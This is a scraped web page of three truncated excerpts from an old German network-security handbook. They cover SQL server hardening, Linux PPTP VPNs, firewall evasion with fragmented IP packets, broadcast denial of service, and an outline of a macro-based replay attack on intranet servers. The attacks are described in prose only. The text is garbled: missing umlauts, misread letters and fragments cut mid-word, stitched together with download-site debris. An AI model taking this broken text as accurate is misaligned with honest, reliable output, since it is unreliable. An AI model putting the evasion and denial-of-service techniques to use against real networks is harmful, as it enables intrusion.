598. zip alles gesagt da sich an dem Prinzip von TCP IP seit mehreren Jahren prinzipiell nichts mehr getan hat Wer dennoch einen erh hten Sicherheitsbedarf hat der sollte mit PPTP oder mit dem guten alten IPX mit RC4 Verschl sselung seine Daten transportieren Schon seit vielen Jahren kann NOVELL jeden Datenverkehr verschl sseln und auch ber verschiedene Interfaces filtern 26 4 10 wichtige Punkte zur Absicherung Hier noch 10 wichtige Punkte zur Absicherung von SQL Datenbanken die man mindestens beachten sollte DD 4 5 6 ve 8 9 1 0 Niemals PaBworte leer lassen Bei CGI BIN s stets nach und anderen Konstrukten filtern Die eingebauten Sicherheitsoptionen wie minimale PaBwortlange und Nicht Wiederverwendung alter PaBworte aktivieren Fur Userabfragen sollten nur stored procedures erlaubt sein Bestimmte stored procedures wie xp_cmdshell deaktivieren Nach M glichkeit VIEWS einsetzen Integrierte Sicherheit und named pipes m glichst h ufig einsetzen TCP IP Zugriffe auf Datenbanken m glichst vermeiden guest Zugriffe abschalten Audit Level aktivieren 27 Aufbau von VPN s unter LINUX Erstellt von Doc Gonzo http kickme to plugins Der Tip f r VPN s unter LINUX http members home net ipmasq Hier ist insbesondere der Abschnitt ber PPTP Server unter LINUX sowie das PPTP Gateway von besonderem Interesse weil das Protokoll bereits in allen Microsoft Clients enthalten ist PPTP ist das Point
599. zo http kickme to plugins werden In gr eren Netzwerken wo Zuverl ssigkeit an oberster Stelle steht sollte man sich f r CISCO entscheiden da counter intelligence Strategien des Autausches von Statistiken zwischen Routern bed rfen Hierf r hat CISCO ein eigenes Protokoll entwickelt um eine Plausibilit tskontrolle benachbarter Router zu erm glichen Wir einer der Router von einem Angreifer in die Irre gef hrt so fragt dieser nach ob evtl sein Nachbar ebenfalls Probleme mit der Performance hat Ist dies nicht der Fall so wird er den ICMP Source Quench nicht akzeptieren Der Einsatz von CISCO PIX wird dann evil f r einige ISP s zu einem Mu Angriffe ber fragmentierte IP Pakete und forwarding Themen Tunneln mit fragmentierten Paketen Reassemblierung berlastung des TCP IP Stacks Kernel forwarding Timeouts Performance Probleme Angreifer benutzen die Fragmentierung von IP Paketen um Router Firewalls zu durchtunneln die bestimmte Ports blockieren Mit fragmentierten Paketen ist somit der Router nicht mehr in der Lage die Bedeutung des darin enthaltenen TCP Paketes zu interpretieren und l t somit das Paket passieren Daher ist es in jedem Falle notwendig dem TCP IP Stack des Routers zu befehlen diese Pakete vor der Filterung zusammenzusetzen reassembly Das kostet zwar Performance und im Falle eines geschickten Angriffs viel RAM ist aber unerl lich Leider werden hierdurch auch DoS Angriffe wieder m
600. zum Absturz Alle diese Pakete lassen sich z B auch mit der Broadcast Adresse 255 255 255 255 als Zieladresse oder mit Multicast Adressen 224 255 255 255 generieren Diese werden dann eventuell auch in benachbarte Netze bertragen weil eventuell ein VLAN Switch diese bertr gt Konfigurieren Sie Ihre Router im Intranet also stets so da die Broadcast Domains m glichst klein bleiben Leider k nnet es dann passieren da Windows NT PDC s und BDC s in gro en Netzwerken nicht mehr korrekt funktionieren Entweder man setzt dann in jeder Abteilung Firewalls ein die einen eigenen TCP IP Stack besitzen oder man schafft NT Server im Unternehmen einfach ab Man merkt sicher da ich Microsoft Liebhaber bin aus Schaden wird man kl ger Ein weiteres Beispiel f r einen m glichen Angriff auf z B die MS SQL 7 0 Datenbank in Backoffice wird in dem Kapitel backoffice beschrieben Hier nun eine Darstellung wie man Visual Basic f r einen sogenannten replay attack verwenden kann Es gibt die M glichkeit ber Visual Basic Makro s in Winword oder Excel Angriffe auf Server im Intranet zu starten Es ist klar da man in einem solchen Makro nicht PERL mit den net rawip Erweiterungen unauff llig verstecken kann Man kann jedoch ein Netzwerk aufbauen welches dieselben IP Nummern besitzt wie das zuvor mit Hilfe eines WWW Server ausgekundschaftete Intranet des Unternehmens Siehe z B http www little idiot de cgi bin test cgi Dan
Download Pdf Manuals
Related Search
Related Contents
Delta Electronics DPS-350TB series User's Manual Modèle TNT60HD MANUAL DE INSTALAÇÃO Série: Cassete e Piso-Teto Planet Technology VIP-254PT Telephone User Manual 取扱説明書 DRO - NVP-300T - fra TP-Link TL-WA5110G V1 User Guide Afficher - Service, Support Copyright © All rights reserved.
Failed to retrieve file